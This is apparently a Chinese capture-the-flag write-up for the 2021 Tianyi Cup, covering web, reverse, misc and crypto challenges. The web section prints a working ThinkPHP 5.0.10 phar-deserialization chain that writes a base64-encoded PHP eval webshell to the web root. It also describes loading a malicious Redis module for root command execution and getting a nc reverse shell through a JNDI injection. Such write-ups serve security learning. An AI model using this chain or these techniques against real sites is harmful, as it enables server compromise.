HVV结束后的第二场CTF~
点击上方
蓝字
关注我们
没有参与比赛,纯粹看的题
Web-ezTP(详解)
通过robots.txt 得到www.zip 源代码:
目录结构:
很明显的TP框架 查看版本得到:5.0.10
一开始尝试TP框架的RCE,无果。遂放弃
然后查看Controller有一个index和admin:
Admin控制器:
Index控制器:
看起来 好像没什么问题。
但是可以看到,必须要登录admin才可以进行admin控制器里面的上传和列目录操作
故肯定是要注入,百度搜索到了
该版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html
注入登录admin账户:
然后查看admin控制器的listdir 可以发现is_dir函数是可以触发phar反序列化的。
参考:https://www.anquanke.com/post/id/251318#h2-1
但是会发现使用如上链接的poc,与网上的poc均不可用。
本地搭建环境调试了一下,发现:
Process.php的close方法:
与原来的tp框架不一样,多增加了一个if来过滤,因为原本的 HasMany 类并没有close方法,导致没办法调用$this->processPipes->close()方法,就无法进行下面的反序列化写文件RCE了,所以网上的POC就会没用。
现在需要做的是需要一个有close方法的类,并且内部需要调用成员变量的close方法。
这样就可以绕过过滤,并且可以继续反序列化。
在这里我找到了Memcache类,
只要将原来的链子 接入到$this->handler 变量里面去,就可以继续下去反序列化了。
但是通过调试:
这个path路径,写下去找不到文件。所以我改成了绝对路径,写到public目录下
反序列化POC:
namespace think;
use thinksessiondriverMemcache;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=(new Memcache(1));
}
}
namespace think;
class Model{
}
namespace thinkmodel;
use thinkModel;
class Merge extends Model{
public $a='1';
public function __construct()
{
}
}
namespace thinkmodelrelation;
use thinkconsoleOutput;
use thinkdbQuery;
use thinkmodelMerge;
use thinkmodelRelation;
class HasMany extends Relation
{
//protected $baseQuery=true;
protected $parent;
protected $localKey='a';
protected $foreignKey='a';
protected $pivot;
public function __construct(){
$this->query=new Output();
$this->parent= new Merge();
}
}
namespace thinkmodel;
class Relation
{}
namespace thinkdb;
class Query{}
namespace thinkconsole;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new thinksessiondriverMemcache(0));
}
}
namespace thinksessiondriver;
class Memcache
{
protected $handler;
public function __construct($i)
{
if($i==0){
$this->handler = (new thinkcachedriverMemcached(0));
}else{
$this->handler = (new thinkmodelrelationHasMany);
}
}
}
namespace thinkcachedriver;
class Memcached
{
protected $tag;
protected $options;
protected $handler;
public function __construct($i)
{
if($i==0){
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
];
$this->handler = (new File);
}
}
}
class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
];
}
}
$o = new thinkProcess();
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stubb
$phar->setMetadata($o); //将自定义的meta-data存入manifest里
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering(); // 签名自动计算
需要添加GIF89A 头来绕过检测图片格式。
保存jpg上传头像,然后:
最后访问shell 拿flag:
Web-esay_eval
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
代码审计,直接反序列化构造一句话木马
蚁剑连接发现有disable_function,试了下蚁剑自带的bypass无果,然后在网站根目录发现了连接redis数据库的信息。猜到是redis rce漏洞,直接在tmp目录上传exp.so, 然后通过连接redis加载so文件库命令执行即可
module load /tmp/exppadding.so
OK
"id" system.exec
"uid=0(root) gid=0(root) groups=0(root)n"
Web-Jackson
03
看到pom.xml里面的框架版本可以想到CVE-2020-1957
jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制
Nc得到了反弹,直接获取根目录的flag即可
Re-revvverse
IDA打开定位main函数
发现程序先进行flag格式判断,然后RC4加密,后面又经过AES加密
这里有误导,其实不是des
动态调试获得key和iv,然后和固定字符串比较,因此对字符串先解AES,再解RC4即可得到正确的输入。
模拟程序加密流程验证如下:
MIsc-rrrgggbbb
用Stegsolve查看3个图片都有lsb隐写,把0bit的202个字节提取出来,分别保存成3个文件,然后用脚本把文件内容逐字节拼接起来
with open(r'f:share20210923r.dat','rb') as f1:
data1=f1.read()[:202]
with open(r'f:share20210923g.dat','rb') as f2:
data2=f2.read()[:202]
with open(r'f:share20210923b.dat','rb') as f3:
data3=f3.read()[:202]
data=b''
for i in range(202):
data+=bytes([data1[i],data2[i],data3[i]])
print(data.hex())
得到一个bpg的格式文件,搜了下是图片格式,网上找了个查看工具,查看得到flag
Crypto-baby_Geometry
提供了一个图片,发现是ECC算法,提供的阶数很小,可以直接爆破出密钥,解密脚本如下:
msg=[
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ],
[ ]
]
a = 1
b = 5
p = 6277
E = EllipticCurve(GF(p), [a,b])
G = E([10,180])
k=381
r=6
for i in range(len(msg)):
print(E(msg[i])-k*r*G))
得到明文msg:
转成文本
得到最终flag:
flag{GEoM3t2Yfo2YoUXD}
本文始发于微信公众号(IDLab):2021第二届“天翼杯”网络安全攻防大赛WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论